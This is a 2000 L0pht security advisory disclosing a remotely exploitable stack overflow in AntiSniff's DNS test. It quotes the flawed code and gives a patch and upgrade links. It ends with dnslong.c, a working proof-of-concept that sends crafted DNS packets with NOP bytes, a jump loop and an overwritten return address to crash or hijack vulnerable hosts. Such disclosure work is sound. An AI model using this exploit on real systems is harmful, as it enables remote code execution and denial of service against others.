@Stake Inc.
                           L0pht Research Labs
                     www.atstake.com     www.L0pht.com

                             Security Advisory

             Advisory Name: AntiSniff version 1.01 and Researchers 
                            version 1 DNS overflow
              Release Date: 5.15.2000
               Application: AntiSniff version 1.01 and AntiSniff 
                            Researchers version 1.0 
                  Platform: Windows and Unix versions
                  Severity: An attacker with raw net access can falsify a 
                            response to AntiSniff's DNS test that can result 
                            in a buffer overflow and thus execute code 
                            remotely.
                    Author: Mudge [mudge@l0pht.com]
             Vendor Status: Vendor contacted - fix available
                       Web: http://www.L0pht.com/advisories.html

Overview:

  AntiSniff is a program that was released by L0pht Heavy Industries in 
  July of 1999. It attempts, through a number of tests, to 
  determine if a machine on a local network segment is listening to 
  traffic that is not directed to it (commonly referred to as sniffing).  
  During one particular test there is a problem if a packet that 
  does not adhere to DNS specifications is sent to the AntiSniff machine. 
  This can result in a buffer overflow on the system running AntiSniff. 
  If the packet is crafted appropriately this overflow scenario can be 
  exploited to execute arbitrary code on the system.

  This scenario is only possible if AntiSniff is configured to run the DNS
  test and only during the time the test is running. None the less, it is
  a vulnerability that should not be ignored and has even been found in other
  promiscuous mode detection programs as well.


Detailed Description:

  The files bpf_watchdns.c and raw_watchdns.c of the AntiSniff researchers
  version contain the following code snippit in the routine watch_dns_ptr() :

  char nameStr[MAX_LEN];
  ...
  while (count){
    (char *)indx++;
      strncat(nameStr, (char *)indx, count);
      indx += count;
      count = (char)*indx;
      strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
  }

  Quick visual inspection shows that nameStr is a character array that is 
  allocated on the stack and is of MAX_LEN in size.  The loop will continue
  to concatenate to this string and can exceed MAX_LEN if correctly crafted.
  This will not be run in to in the wild - but then again, malicious attackers
  are not required to play within defined parameters. Quite the contrary.

  One quick fix for the free Researchers version is to introduce a check
  on the above loop. Something as trivial as:

  while (count){
    if ( strlen(nameStr) + count < (MAX_LEN - 1) ){
      (char *)indx++;
      strncat(nameStr, (char *)indx, count);
      indx += count;
      count = (char)*indx;
      strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));
    } else {
      count = 0;
    }
  }

  The above can be replaced in the bpf_watch_dns.c and raw_watchdns.c files
  in the appropriate watch_dns_ptr() functions.

  The windows code contains a similar problem.


Immediate Solution:

  Do not run the DNS tests on AntiSniff version 1.01 or the Researchers 
  version 1.0. Download the newer version from http://www.l0pht.com/antisniff 
  which are labeled AntiSniff version 1.02 for the commercial instance and
  AntiSniff version 1-1 for the researchers instance.


Vendor Solution:

  New versions have been released which correct this problem.

  Version 1.1 of the free Researcher's version is available at 

  http://www.l0pht.com/antisniff/dist/anti_sniff_researchv1-1.tar.gz

  Version 1.02 of the Windows version is available at

  http://www.l0pht.com/antisniff/dist/as-102.zip

  We would like to thank Hugo Breton (bretonh@pgci.ca) who works for PGCI
  http://www.pgci.ca for researching this, bringing it to our 
  attention and thus contributing to our being able contact the current
  maintainers of the program to correct the problem and thus have a better 
  product. We encourage other companies to commend this type of community 
  contribution to security research and hope we are setting a solid 
  example.

Proof of concept code:

/* dnslong.c by Hugo Breton (bretonh@pgci.ca)

   This program must be run in the DNS test phase of Sentinel and Anti Sniff.
   It illustrates how code can be run remotely on a Win98 machine running Anti
   Sniff.

   Suggested arguments are:
   
   "dnslong host 5 65" to send the Windows 98 version of Anti Sniff in an
   infinite loop.
   "dnslong host 2 255" to segfault the oBSD version of Anti Sniff.
   "dnslong host 1 255" to segfault Sentinel.
*/


#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

int main(int argc,char * * argv)
{
        char p[1024];
        int sock,i,j,k,len,labelnum,labellen;
        struct sockaddr_in sin;
        struct hostent * hoste;

        printf("dnslong.c by Hugo Breton (bretonh@pgci.ca)\n");

        if(argc<4)
        {
                printf("usage: %s host label_count label_length\n",argv[0]);
                return(0);
        }

        bzero((void *) &sin,sizeof(sin));
        sin.sin_family=AF_INET;
        sin.sin_port=htons(53);

        if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
        {
                if((hoste=gethostbyname(argv[1]))==NULL)
                {
                        printf("unknown host %s\n",argv[1]);
                        return(0);
                }
                
                bcopy(hoste->h_addr,&sin.sin_addr.s_addr,4);
        }

        labelnum=atoi(argv[2]);
        labellen=atoi(argv[3]);

        len=labelnum*(labellen+1)+5+12;

        if(len>1024)
        {
                printf("resulting packet will be too long\n");
                return(0);
        }

        bzero((void *) p,1024);
        * ((unsigned short *) (p+0))=htons(867-5309);
        * ((unsigned short *) (p+4))=htons(1);
        
        for(i=12,j=0;j<labelnum;j++)
        {
                * ((unsigned char *) (p+(i++)))=labellen;

                for(k=0;k<labellen;k++,i++)
                {
                        * ((unsigned char *) (p+i))=0x90;
                }
                
                * ((unsigned char *) (p+i-2))=0xeb; /* jmp $-2 */
                * ((unsigned char *) (p+i-1))=0xfe; /* just make it loop */
        }

        * ((unsigned char *) (p+269))=0x20;
        * ((unsigned char *) (p+270))=0xff;
        * ((unsigned char *) (p+271))=0x87; 
        * ((unsigned char *) (p+272))=0x01; /* new EIP */

        * ((unsigned char *) (p+(i++)))=0;

        * ((unsigned short *) (p+i))=htons(1);
        * ((unsigned short *) (p+i+2))=htons(1);

        if((sock=socket(AF_INET,SOCK_DGRAM,0))==-1)
        {
                printf("unable to create UDP socket\n");
                return(0);
        }

        if(sendto(sock,p,len,0,(struct sockaddr *) &sin,sizeof(sin))==-1)
        {
                printf("unable to send packet\n");
                return(0);
        }

        printf("packet sent to host %s\n",argv[1]);

        return(0);
}



  [ For more advisories check out http://www.L0pht.com/advisories.html ]
                                         L-ZERO-P-H-T